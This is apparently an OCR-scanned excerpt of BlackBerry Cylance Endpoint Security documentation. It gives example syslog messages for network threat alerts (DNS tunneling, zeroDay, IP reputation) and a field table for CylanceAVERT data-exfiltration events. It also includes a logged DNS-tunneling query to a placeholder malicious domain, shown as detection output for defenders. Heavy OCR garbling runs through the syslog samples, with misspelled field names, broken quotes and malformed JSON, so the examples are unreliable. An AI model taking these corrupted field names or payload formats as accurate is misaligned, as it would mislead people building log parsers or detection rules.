a764- 458e- ade2- 0c87487e6del\ ", \ "dManuf\":\ "Bl ackBerry\",\"dPl at\":\ "W ndows
", \"endpointlp\":\"172.29. 135. 161: 54393\ ", \ "dnsTunnel | i ngNaneServer\":\"\",
"key\":\"\" \"dst Address\":\"178.175. 31. 230\ ",\ "policyNanme\":\"Al | owPublic\",
"dOsVers\":\"5.6.7\",\"tenant | d\":\"LOO000000\",\"sourcePort\":41988,\"m treData
"AA"\",\"dnsTunnel I i ngScore\":\"\" \"action\":\"all owed\",\"signature\":
"AccessCont r ol Al | owed- Connecti onAttenpt\",\"sourcel p\":\"10.48.0.6\",\"al ert Type
"“:\"ipReputation\",\"dModel \":\"Test Tool\",\"dest Port\":443,\"category\":
"Security Risk\",\"venueEndpointld\":\"venue 9876\",\"threatDetails\":\"\",
"subCategory\":\"Mal ware\",\"appNane\":\"\" \"protocol\":\"TCP\",\"dHost Nare\ " :
"test.exanple.net\",\"egresslp\":\"35.170. 136. 211\ "}"

o o o o o o o — —

Example syslog message - DNS Tunneling

{

"nanme": "dnsTunnel i ng connecti on"

"user Ecol d": " A q2A2vxJKuPDyqr U BQBk=",

“tenant1d": "LO0O000000",

"type": "NetworkThreat",

"source": "big.blackberry.conf,

“tinestamp": "2022-02-22T13:47: 33. 945670+0000",

"message": "{\"ipRepRisk\":\"\" \"ipRepContext\":\"\" \"flow d
\":884470825841375,\"correl ationld\":\"d8ab0341-6177- 4f c5- 88f 5- 0ce3f 3f d3901\ ",
\"dld\":\"16belf 36- 2f 04- 4de7- 9a19- 3dd4f bcdf 14f\ ", \ "endpoi nt | d\ ":

\ " babO0f b44- bf 67- 4491- 8f 7d- 07cf 11d6e32e\ ", \ "dManuf\":\ " Exanpl e, Inc.

V" \"dPlat\":\"Wndows\",\"endpointlp\":\"172.29. 133. 168: 43960\ ",

\"dnsTunnel | i ngNanmeServer\":\"192. 12.94. 30\ ",\"key\":\"\ ", \"dst Address\":

\ " 056¢c03240f 000000001dcd70c88c2eeal29b70a7513c4f 1763799e670db8. 2954ad5e62dcbe3e5hb

83d26e3f 9¢2430e59d3c9810f 58e84ad26ced48770. 917a4f 5206269bc8358c8072b3
.reallyevilsite.com",\"policyNane\":\"\" \"dGsVers\":\"Wndows 10 Enterprise
2009\ ",\"tenant I d\":\"LOO0O0O0O0OOO\ ", \"sourcePort\":53966,\"nitreData\":
"\",\"dnsTunnel I i ngScore\":\"lowm",\"action\":\"al |l owed\",\"signature\":
"\",\"sourcel p\":\1"10.10. 10.2\",\"al ert Type\":\"dnsTunnel i ng\ ", \ "dMbdel \ ":
"Exanple Virtual Platform",\"destPort\":53,\"category\":\"Security Ri sk\",
"venueEndpoi nt I d\":\"7340ccd2-f 167- 4a7e- 873b- 6ec4c9f 4cfd8\",\ "t hreat Detail s\":
"\", \"subCategory\":\"DNS Tunneling\",\"appNarme\":\"\" \"protocol\":\"UDP\",
"dHost Nane\ ":\ "t est. exanpl e.net\",\"egressl p\":\"35.170. 136. 211\ "}"

—~ o o — — — —

Example syslog message - zeroDay

{

"user Ecol d": " Al 4aHPPWY4kz TYJPZpf ETWI=",

“tenant|d":"V0O0000000",

"type": " NetworkThreat",

"nanme":"al | owed connection",

"source":"big.blackberry. cont,

"timestanp":"2021-06-28T18: 38: 28. 453738+0000

"message": "{\"sourcePort\":42828,\"al ert Type\":\"zeroDay\",\"dWodel \ ":
\"Test Tool \",\"dCsVers\":\"5.6.7\",\"action\":\"al | owed\",\"appNanme\":\"\",
\"flow d\": 3367092445552440,\"protocol\":\"TLS\",\"tenant|d\":\"VO0000000\ ",
\"threatDetail s\":\"\" \"dnsTunnel | i ngScore\":\"\" \"destPort\":443,\"dst Addr ess
\":\"13.234.212. 19\ ", \ "venueEndpoi nt 1 d\":\"venue_9876\",\"sourcel p\":
\"10. 10.12. 2\ ", \ "endpoi nt 1 d\ ":\ " 1f 3a651f - 12aa- 402c- a6e3- ca62b3cealc7\ ", \ "key\ ":
\"\" \"endpointlp\":\"172.29. 132. 27: 58313\ ", \"mitreData\":\"\",\"i pRepRi sk\":
\"Hi gh\",\"correlationld\":\"5ed4ac53c-2565-4532- 95dd- 59b5b5ba4875\ ", \ "cat egory\ ":
\"Security Risk\",\"policyNarme\":\"\" K \"subCat egory\":\"Unaut hori zed Market pl ace
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\",\"dnsTunnel | i ngNanmeServer\":\"\" \"dld\":\"venue_9876\",\"signature\":\"\",
\"dPl at\":\"Wndows\",\"dManuf\":\"Bl ackBerry\, "\ "dHost Name\ ":\ "t est. exanpl e. net
\",\"egresslp\":\"35.170. 136. 211\ "}"

}

Alert with http

{

"message”: "{\"dPlat\":\"Wndows\",\"dnsTunnel | i ngScore\":\"\",\"venueEndpoi ntld
VA"V "appName\ A"\t AVt dld\ "\ " c5¢5f 9be- 4a89- 47d1- b4d9- 817f 8e0ed8c8\ ",
\"endpoi nt I p\":\"99. 250. 195. 118: 42523\ ", \"mitreData\":\"\ ", \"dst Address\":
\"10.0.34.163\",\"dModel \":\"NexusOne\",\"i pRepContext\":\"\" \"category\":\"\",
\"dGCsVers\":\"1.0.3.4567\",\"key\":\"\" \"sourcel p\":\"10. 10. 10. 176\ ", \ "sour cePort
\":59705,\"tenant 1 d\":\"L93379554\" ,\"correl ati onld\":\"f3ac0686-b3a0-4926-
abf f - 7a98301d4221\",\"action\":\"bl ocked\",\"policyName\":\" Allowi nternettraffic

with space \",\"http\":{\"hostnane\":\"10.0.34.163\",\"l ength\":0,\"httpMet hod

VN GETN N "url\V":\"/hello 3. txt\",\"protocol\":\"HTTP/ 1. 1\"},\"si gnature\":
\"AccessControl Al | owed\ ", \"endpoi nt1d\":\"9ccbfaal-450e-45b3-a2ca-e7a249d891b5\ ",
\"alert Type\":\"accessControl\",\"dnsTunnel | i ngNameServer\":\"\" \"threatDetails
V'V "\V" V" dHost Nane\ ":\ "t est. exanpl e. net\",\"i pRepRi sk\":\"\" \"destPort\": 8001,
\"dManuf\":\"Sanmsung\",\"fl owl d\":887043762211702,\ "subCat egory\":\"\ ", \"protocol
\

"IA"TCRA "}
"source": "big.blackberry.conf,
"type": "NetworkThreat"
"nanme": "bl ocked connection",

“timestanmp": "2021-08-12T12:51:55.119715+0000",
“tenant|d": "V00000000",
"user Ecol d": "An76hRPI f 1of 9g5nTc+8WBI 4=",

}

Example syslog message - zeroDay with rData

{

"nane": "allowed connection",

"user Ecol d": "Al 08f mBu2c2PPrye4vPj NAs=",

"tinmestanmp": "2023-12-05T15: 44: 44. 000000+00: 00",

“tenantld": "VO0000000",

"type": "NetworkThreat",

"source": "big.blackberry.conf,

"message": "{\"action\":\"allowed\",\"al ert Type\":\"zeroDay\",\"appNane\":
\"\",\"category\":\"Dynanmic Risk\",\"correlationld\":\"9a3fa2de- 2f 4c- 4230- 92f d-
db4c99b2e144\ ", \"dest Port\":53,\"dHost Nane\ ":\ " TEST_HOST-01\",\"dl d\":

\ "eas- 81e09ec6- 11de- 4662- b45f - 650bda8a9318- 72f 3b969- 3622- 45ce- 8199- f 69cca2a25d7\ ",
\"dManuf\":\"VMnrare, Inc.\",\"dModel\":\"VMnrare7, 1\",\"dnsTunnel | i ngNanmeSer ver
VA"V A\ "dnsTunnel I i ngScore\":\"\" \"dGsVers\":\"Wndows 10 Enterprise

22H2\ ", \"dPl at\":\ "W ndows\ ", \ "dst Address\":\"domai nexanpl e.ca\",\"egresslp
":\"\", \"endpoi ntld\":\"4cf152ed- 275b- 4133- ad4el- c3bf 656c9208\ ", \ "endpoi nt 1 p\":
"4.71.111.37: 60869\ ",\"fl ow d\":\ " 01HGXAECBNF162T4Q75KBGEVK4\ ", \ "i pRepCont ext
AUV V" pRepRi sk A" Medi umd VT key\ AN A "mitreData\ "\ "\ ", \"policyName\":
"\",\"protocol\":\"UDP\",\"protocol Content\":\"\" \"signature\":\"\" \"sourcelp
":\"10.60.0.2\",\"sourcePort\":63162,\"subCat egory\":\"DNS Tunneling\",\"tenantld
":\"L23953851\",\"threatDetails\":\"\",\"venueEndpoi ntId\":\"\",\"processNane\":
"\"\"rData\":\"googl e-site-verificati on=0LOSbU VW nuEEBPi w798ESI _EvHH66f v- QqpZo-
Ro\"}"

——— — — — — —
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CylanceAVERT event types

If CylanceAVERT is enabled for your organization, you can choose to send the alerts that are detected by the
agent on users’ devices to your organization’s syslog server. This section provides details about the mobile alert
events that are sent to the syslog server.

CylanceAVERT events

This option is visible only if CylanceAVERT is enabled. When this option is turned on, the events that are detected
by the agent on users’ devices are sent to your organization’s syslog server.

Field Value Description

Tenant String This is the Cylance Endpoint Security tenant associated with the
endpoint.

Event Type AvertEvent This is the defined event type for data exfiltration alerts.

Event name Data Exfiltration This is the defined event name for data exfiltration alerts.

Event

Eco ID [varies] This is the user's EcolD, if available.

Timestamp [varies] This is the date and time the event occurred.

Source com.blackberry.dlp  This is the BlackBerry product generating the event.

Username [varies] This is the username associated with the event, if available.

User Email [varies] This is the email of the user associated with the event, if
available.

User Title [varies] This is the title of the user associated with the event, if available.

User Department [varies] This is the department of the user associated with the event, if
available.

Container ID Device ID This is the Device ID for the Desktop client

Client Version [varies] This is the CylanceAVERT capability version.

Device Name [varies] This is the name of the device associated with the data
exfiltration event.
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Field Value Description

Client Type [varies] This is the type of client associated with the data exfiltration
event:

Unknown
Dynamics
Spark
Desktop

Device OS [varies] This is the operating system of the device:

Windows
MacOS
i0S
Android

Version of 0S [varies] This is the version of the operating system on the device.

Policy Names [varies] This is a list of the policy names that triggered the event. This list
can contain 1 or more policy names.

Activity Type Browser upload The file was exfiltrated through a browser upload.
Email send The file was exfiltrated through the content of an email message.
File transfer The file was exfiltrated in the attachment of an email message.
Copy to The file was exfiltrated by copying the file to a USB device.
Locations [varies] This is the location that exfiltrated file was sent to:

Browser domain: This is the domain of the browser that the
file was uploaded to.

Email domain: This is the email domain or domains that

the file was sent to.

USB name: This is the name of the USB device that the file
was uploaded to.

Network location: This is the name of the network drive that
the file was uploaded to.

Email Subject [varies] This is the subject of the email that the file was sent to.

File Info [varies] This is the SHA256 hash and the file type of the file that was
exfiltrated.

Data Types [varies] These are the data type names that were involved in the event.
For more information on data types, see Specifying sensitive data
types.
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Example Syslog Message:

Sep 02 15:04:59 sysl oghost Cyl ancePROTECT Event Type: |nfoProtectEvent,
Event Nanme: |nfoProtectEvent, Eco Id: An6XZ102m PgFzl/ N8mj ANP4=, User: John
Smith (jsmth@xanpl e.com, User Nane: jsnmith, Message: {"comon": { "id":
"albeb47f - al3f - 4f Of - 888a- 888650702cdf ", "tenantld": "L1234564", "occurred"
"2021-08-10T16: 17: 092", "traceld": "ab59fe31", "spanld": "d89e3ab", "source"

"com bl ackberry.dl p", "type": "ALERT", "category": "Exfiltration", "subcategory":
"Email", "message": "Email Exfiltration Detected" }, "user": { "id": "albe547f-
al3f - 4f Of - 888a-888650702cdf ", "ecol d": "AnmbXZ102m PgFzI|/ N8nj ANP4=", "di spl ayNanme":

"JSmith", "email":jsmth@xanple.com "title": "Engineer", "department":

"Engi neering" }, "device": { "id" : "alb5e547f-al3f-4f Of - 888a- 888650702cdf",
"osFam | y": "Wndows", "osVersion": "10.7.0" }, "endpoint": { "id" "albeb47f -
al3f - 4f Of - 888a- 888650702cdf ", "version": "10.7.0", "nane": "jsmth Desktop",
"type": "DESKTOP" }, "files": [ { "sha256": "asfafsdfdsfsf", "type": "doc"},

{ "sha256": "hdfbbhjhgjghn", "type": "pdf"} ], "profiles" : [ {"id": "albeb547f-
al3f - 4f Of - 888a- 888650702cdf ", "type": "PROFILE", "displayNanme": "H PAA"}, {"id":
"b15d547f - al13f - 4f Of - 888a- 888650702cdf ", "type": "PROFILE", "displayNanme":
"Finance"} ], "locations" : ["blackberry.coni, "exanple.com'], "dataEntityNanmes":
["Credit card nunmbers", "Age", "SSN'], "email Subject": "Architecture Change"}
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© 2025 BlackBerry Limited. Trademarks, including but not limited to BLACKBERRY, EMBLEM Design, ATHOC, and
SECUSMART are the trademarks or registered trademarks of BlackBerry Limited, its subsidiaries and/or affiliates,
used under license, and the exclusive rights to such trademarks are expressly reserved. All other trademarks are
the property of their respective owners.

Patents, as applicable, identified at: www.blackberry.com/patents.

This documentation including all documentation incorporated by reference herein such as documentation
provided or made available on the BlackBerry website provided or made accessible "AS IS" and "AS AVAILABLE"
and without condition, endorsement, guarantee, representation, or warranty of any kind by BlackBerry Limited and
its affiliated companies ("BlackBerry") and BlackBerry assumes no responsibility for any typographical, technical,
or other inaccuracies, errors, or omissions in this documentation. In order to protect BlackBerry proprietary and
confidential information and/or trade secrets, this documentation may describe some aspects of BlackBerry
technology in generalized terms. BlackBerry reserves the right to periodically change information that is contained
in this documentation; however, BlackBerry makes no commitment to provide any such changes, updates,
enhancements, or other additions to this documentation to you in a timely manner or at all.

This documentation might contain references to third-party sources of information, hardware or software,
products or services including components and content such as content protected by copyright and/or third-
party websites (collectively the "Third Party Products and Services"). BlackBerry does not control, and is not
responsible for, any Third Party Products and Services including, without limitation the content, accuracy,
copyright compliance, compatibility, performance, trustworthiness, legality, decency, links, or any other aspect
of Third Party Products and Services. The inclusion of a reference to Third Party Products and Services in this
documentation does not imply endorsement by BlackBerry of the Third Party Products and Services or the third
party in any way.

EXCEPT TO THE EXTENT SPECIFICALLY PROHIBITED BY APPLICABLE LAW IN YOUR JURISDICTION, ALL
CONDITIONS, ENDORSEMENTS, GUARANTEES, REPRESENTATIONS, OR WARRANTIES OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING WITHOUT LIMITATION, ANY CONDITIONS, ENDORSEMENTS, GUARANTEES,
REPRESENTATIONS OR WARRANTIES OF DURABILITY, FITNESS FOR A PARTICULAR PURPOSE OR USE,
MERCHANTABILITY, MERCHANTABLE QUALITY, NON-INFRINGEMENT, SATISFACTORY QUALITY, OR TITLE, OR
ARISING FROM A STATUTE OR CUSTOM OR A COURSE OF DEALING OR USAGE OF TRADE, OR RELATED TO THE
DOCUMENTATION OR ITS USE, OR PERFORMANCE OR NON-PERFORMANCE OF ANY SOFTWARE, HARDWARE,
SERVICE, OR ANY THIRD PARTY PRODUCTS AND SERVICES REFERENCED HEREIN, ARE HEREBY EXCLUDED.
YOU MAY ALSO HAVE OTHER RIGHTS THAT VARY BY STATE OR PROVINCE. SOME JURISDICTIONS MAY

NOT ALLOW THE EXCLUSION OR LIMITATION OF IMPLIED WARRANTIES AND CONDITIONS. TO THE EXTENT
PERMITTED BY LAW, ANY IMPLIED WARRANTIES OR CONDITIONS RELATING TO THE DOCUMENTATION TO
THE EXTENT THEY CANNOT BE EXCLUDED AS SET OUT ABOVE, BUT CAN BE LIMITED, ARE HEREBY LIMITED TO
NINETY (90) DAYS FROM THE DATE YOU FIRST ACQUIRED THE DOCUMENTATION OR THE ITEM THAT IS THE
SUBJECT OF THE CLAIM.

TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW IN YOUR JURISDICTION, IN NO EVENT SHALL
BLACKBERRY BE LIABLE FOR ANY TYPE OF DAMAGES RELATED TO THIS DOCUMENTATION OR ITS USE,

OR PERFORMANCE OR NON-PERFORMANCE OF ANY SOFTWARE, HARDWARE, SERVICE, OR ANY THIRD

PARTY PRODUCTS AND SERVICES REFERENCED HEREIN INCLUDING WITHOUT LIMITATION ANY OF THE
FOLLOWING DAMAGES: DIRECT, CONSEQUENTIAL, EXEMPLARY, INCIDENTAL, INDIRECT, SPECIAL, PUNITIVE,
OR AGGRAVATED DAMAGES, DAMAGES FOR LOSS OF PROFITS OR REVENUES, FAILURE TO REALIZE ANY
EXPECTED SAVINGS, BUSINESS INTERRUPTION, LOSS OF BUSINESS INFORMATION, LOSS OF BUSINESS
OPPORTUNITY, OR CORRUPTION OR LOSS OF DATA, FAILURES TO TRANSMIT OR RECEIVE ANY DATA,
PROBLEMS ASSOCIATED WITH ANY APPLICATIONS USED IN CONJUNCTION WITH BLACKBERRY PRODUCTS OR
SERVICES, DOWNTIME COSTS, LOSS OF THE USE OF BLACKBERRY PRODUCTS OR SERVICES OR ANY PORTION
THEREOF OR OF ANY AIRTIME SERVICES, COST OF SUBSTITUTE GOODS, COSTS OF COVER, FACILITIES OR
SERVICES, COST OF CAPITAL, OR OTHER SIMILAR PECUNIARY LOSSES, WHETHER OR NOT SUCH DAMAGES
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WERE FORESEEN OR UNFORESEEN, AND EVEN IF BLACKBERRY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.

TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW IN YOUR JURISDICTION, BLACKBERRY SHALL
HAVE NO OTHER OBLIGATION, DUTY, OR LIABILITY WHATSOEVER IN CONTRACT, TORT, OR OTHERWISE TO
YOU INCLUDING ANY LIABILITY FOR NEGLIGENCE OR STRICT LIABILITY.

THE LIMITATIONS, EXCLUSIONS, AND DISCLAIMERS HEREIN SHALL APPLY: (A) IRRESPECTIVE OF THE NATURE
OF THE CAUSE OF ACTION, DEMAND, OR ACTION BY YOU INCLUDING BUT NOT LIMITED TO BREACH OF
CONTRACT, NEGLIGENCE, TORT, STRICT LIABILITY OR ANY OTHER LEGAL THEORY AND SHALL SURVIVE A
FUNDAMENTAL BREACH OR BREACHES OR THE FAILURE OF THE ESSENTIAL PURPOSE OF THIS AGREEMENT
OR OF ANY REMEDY CONTAINED HEREIN; AND (B) TO BLACKBERRY AND ITS AFFILIATED COMPANIES, THEIR
SUCCESSORS, ASSIGNS, AGENTS, SUPPLIERS (INCLUDING AIRTIME SERVICE PROVIDERS), AUTHORIZED
BLACKBERRY DISTRIBUTORS (ALSO INCLUDING AIRTIME SERVICE PROVIDERS) AND THEIR RESPECTIVE
DIRECTORS, EMPLOYEES, AND INDEPENDENT CONTRACTORS.

IN ADDITION TO THE LIMITATIONS AND EXCLUSIONS SET OUT ABOVE, IN NO EVENT SHALL ANY DIRECTOR,
EMPLOYEE, AGENT, DISTRIBUTOR, SUPPLIER, INDEPENDENT CONTRACTOR OF BLACKBERRY OR ANY
AFFILIATES OF BLACKBERRY HAVE ANY LIABILITY ARISING FROM OR RELATED TO THE DOCUMENTATION.

Prior to subscribing for, installing, or using any Third Party Products and Services, it is your responsibility to
ensure that your airtime service provider has agreed to support all of their features. Some airtime service
providers might not offer Internet browsing functionality with a subscription to the BlackBerry® Internet Service.
Check with your service provider for availability, roaming arrangements, service plans and features. Installation
or use of Third Party Products and Services with BlackBerry's products and services may require one or more
patent, trademark, copyright, or other licenses in order to avoid infringement or violation of third party rights. You
are solely responsible for determining whether to use Third Party Products and Services and if any third party
licenses are required to do so. If required you are responsible for acquiring them. You should not install or use
Third Party Products and Services until all necessary licenses have been acquired. Any Third Party Products and
Services that are provided with BlackBerry's products and services are provided as a convenience to you and are
provided "AS IS" with no express or implied conditions, endorsements, guarantees, representations, or warranties
of any kind by BlackBerry and BlackBerry assumes no liability whatsoever, in relation thereto. Your use of Third
Party Products and Services shall be governed by and subject to you agreeing to the terms of separate licenses
and other agreements applicable thereto with third parties, except to the extent expressly covered by a license or
other agreement with BlackBerry.

The terms of use of any BlackBerry product or service are set out in a separate license or other agreement with
BlackBerry applicable thereto. NOTHING IN THIS DOCUMENTATION IS INTENDED TO SUPERSEDE ANY EXPRESS
WRITTEN AGREEMENTS OR WARRANTIES PROVIDED BY BLACKBERRY FOR PORTIONS OF ANY BLACKBERRY
PRODUCT OR SERVICE OTHER THAN THIS DOCUMENTATION.

BlackBerry Enterprise Software incorporates certain third-party software. The license and copyright information
associated with this software is available at http://worldwide.blackberry.com/legal/thirdpartysoftware.jsp.

BlackBerry Limited

2200 University Avenue East
Waterloo, Ontario

Canada N2K 0A7

BlackBerry UK Limited

Ground Floor, The Pearce Building, West Street,
Maidenhead, Berkshire SL6 1RL

United Kingdom

Published in Canada
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